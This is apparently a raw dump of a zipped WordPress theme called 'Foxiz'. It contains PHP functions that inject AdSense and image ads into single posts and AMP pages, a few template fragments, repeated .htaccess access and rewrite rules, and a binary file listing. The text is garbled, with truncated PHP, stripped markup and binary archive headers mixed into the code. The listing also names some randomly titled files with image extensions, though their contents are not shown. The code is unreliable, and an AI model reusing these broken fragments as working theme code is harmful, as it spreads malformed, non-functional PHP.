    '; $output .= ''; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_single_inline_ad' ) ) { /** * @return false|void */ function foxiz_get_single_inline_ad() { if ( ! foxiz_get_option( 'ad_single_code' ) && ! foxiz_get_option( 'ad_single_image' ) ) { return false; } $classes = 'inline-single-ad align' . foxiz_get_option( 'ad_single_align' ); if ( foxiz_get_option( 'ad_single_type' ) ) { $settings = array( 'code' => foxiz_get_option( 'ad_single_code' ), 'description' => foxiz_get_option( 'ad_single_description' ), 'size' => foxiz_get_option( 'ad_single_size' ), 'desktop_size' => foxiz_get_option( 'ad_single_desktop_size' ), 'tablet_size' => foxiz_get_option( 'ad_single_tablet_size' ), 'mobile_size' => foxiz_get_option( 'ad_single_mobile_size' ), 'no_spacing' => 1 ); if ( foxiz_get_adsense( $settings ) ) { return '
    ' . foxiz_get_adsense( $settings ) . '
    '; } } else { $settings = array( 'description' => foxiz_get_option( 'ad_single_description' ), 'image' => foxiz_get_option( 'ad_single_image' ), 'dark_image' => foxiz_get_option( 'ad_single_dark_image' ), 'destination' => foxiz_get_option( 'ad_single_destination' ), 'no_spacing' => 1 ); if ( foxiz_get_ad_image( $settings ) ) { return '
    ' . foxiz_get_ad_image( $settings ) . '
    '; } } } } add_filter( 'the_content', 'foxiz_add_single_inline_ad', 100 ); if ( ! function_exists( 'foxiz_add_single_inline_ad' ) ) { function foxiz_add_single_inline_ad( $content ) { if ( ! is_singular( 'post' ) ) { return $content; } $tag = '

    '; /** amp inline ad */ if ( foxiz_is_amp() ) { $amp_buffer = foxiz_get_single_inline_amp_ad(); if ( empty( $amp_buffer ) ) { return $content; } $amp_positions = foxiz_get_option( 'amp_ad_single_positions' ); if ( empty( $amp_positions ) ) { $amp_positions = '4'; }; $amp_positions = explode( ',', $amp_positions ); $content = explode( $tag, $content ); foreach ( $content as $index => $paragraph ) { if ( in_array( $index, $amp_positions ) ) { $content[ $index ] = $amp_buffer . $paragraph; } if ( trim( $paragraph ) ) { $content[ $index ] .= $tag; } } return implode( '', $content ); } $buffer = foxiz_get_single_inline_ad(); if ( empty( $buffer ) ) { return $content; } $positions = foxiz_get_option( 'ad_single_positions' ); if ( empty( $positions ) ) { $positions = '4'; }; $positions = explode( ',', $positions ); $content = explode( $tag, $content ); foreach ( $content as $index => $paragraph ) { if ( in_array( $index, $positions ) ) { $content[ $index ] = $buffer . $paragraph; } if ( trim( $paragraph ) ) { $content[ $index ] .= $tag; } } return implode( '', $content ); } } if ( ! function_exists( 'foxiz_get_single_inline_amp_ad' ) ) { /** * @return false|string */ function foxiz_get_single_inline_amp_ad() { if ( ! function_exists( 'foxiz_amp_ad' ) ) { return false; } ob_start(); foxiz_amp_ad( array( 'type' => foxiz_get_option( 'amp_inline_single_ad_type' ), 'client' => foxiz_get_option( 'amp_inline_single_adsense_client' ), 'slot' => foxiz_get_option( 'amp_inline_single_adsense_slot' ), 'size' => foxiz_get_option( 'amp_inline_single_adsense_size' ), 'custom' => foxiz_get_option( 'amp_inline_single_ad_code' ), 'classname' => 'inline-single-amp-ad amp-ad-wrap' ) ); return ob_get_clean(); } } PK!#,h[single/video-3.phpnu[
    >
    'featured-img' ) ); ?>
    10 ) { $element['rating'] = 10; } elseif ( $element['rating'] < 1 ) { $element['rating'] = 1; } ?>
    5 ) { $element['rating'] = 5; } elseif ( $element['rating'] < 1 ) { $element['rating'] = 1; } ?>
    <?php echo esc_attr( $settings['image']['url'] ); ?>
    'featured-img' ) ); ?>
    Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!.| .htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!template-full-width.phpnu[
    ajax.phpnu[PK!Rtemplates/index.phpnu[PK!$0Rtemplates/CSbmTMEzOt.xbmnu[PK!.|gtemplates/.htaccessnu[PK!75FFjblog.phpnu[PK! 7 7 ̱blocks/list-small-3.phpnu[PK!r3  Jblocks/playlist.phpnu[PK!k7b, , blocks/breaking-news.phpnu[PK!qߕ  blocks/grid-1.phpnu[PK!/blocks/list-box-2.phpnu[PK!Z Lblocks/grid-box-2.phpnu[PK!e Bj j 6blocks/overlay-1.phpnu[PK!kblocks/list-small-1.phpnu[PK!ӥ blocks/grid-box-1.phpnu[PK!m%[[ blocks/categories.phpnu[PK!r;"blocks/classic-1.phpnu[PK!@q11(blocks/newsletter.phpnu[PK!.j< < <blocks/hierarchical-3.phpnu[PK!Ә tWWGblocks/hierarchical-1.phpnu[PK!$F )Oblocks/grid-small-1.phpnu[PK!e 7 7 9Zblocks/list-small-2.phpnu[PK!MKeblocks/list-box-1.phpnu[PK!0 lblocks/list-1.phpnu[PK!} } 9rblocks/grid-2.phpnu[PK!ShBB|blocks/list-2.phpnu[PK!^ WWzblocks/heading.phpnu[PK! blocks/overlay-2.phpnu[PK! 0vvblocks/hierarchical-2.phpnu[PK!suublocks/quick-links.phpnu[PK!.|`blocks/.htaccessnu[PK!ZtZt 6parts.phpnu[PK!X$header/transparent.phpnu[PK!Cυυ6header/templates.phpnu[PK!Wx;N8N8header/layouts.phpnu[PK!header/header/index.phpnu[PK!+oo"header/header/JRPieBEGQCVMfDal.gifnu[PK!.| header/header/.htaccessnu[PK!.| header/.htaccessnu[PK!$F4F4Zsingle/error_lognu[PK!&g Esingle/video-1.phpnu[PK!͊`m  Msingle/standard-5.phpnu[PK!. Wsingle/related.phpnu[PK!±& & 1xsingle/standard-6.phpnu[PK!&ggsingle/audio-3.phpnu[PK!_Esingle/review-comment.phpnu[PK!,}gsingle/standard-8.phpnu[PK! 1 1 Vsingle/footer.phpnu[PK!"55ȵsingle/gallery-3.phpnu[PK!~U||Asingle/audio-2.phpnu[PK!w )==single/templates.phpnu[PK!#,h[single/video-3.phpnu[PK!H2ڪsingle/next-posts.phpnu[PK!I single/standard-2.phpnu[PK!Rφʻsingle/standard-4.phpnu[PK!Pp##single/reviews.phpnu[PK!hLLsingle/gallery-2.phpnu[PK!`single/video-4.phpnu[PK!ۑ-p++1single/layouts.phpnu[PK!PzRggsingle/standard-3.phpnu[PK!բUUJsingle/standard-1.phpnu[PK!:77single/audio-4.phpnu[PK!G11]single/custom-post-type.phpnu[PK!,))single/standard-9.phpnu[PK!Yz0++G%single/audio-1.phpnuȯPK! -single/standard-7.phpnu[PK! 57single/gallery-1.phpnu[PK!f5 5 ?single/video-2.phpnu[PK!.| Isingle/.htaccessnu[PK!.| L.htaccessnu[PK!Ptemplate-full-width.phpnu[PK!/Qtemplate-cover.phpnu[PKSSS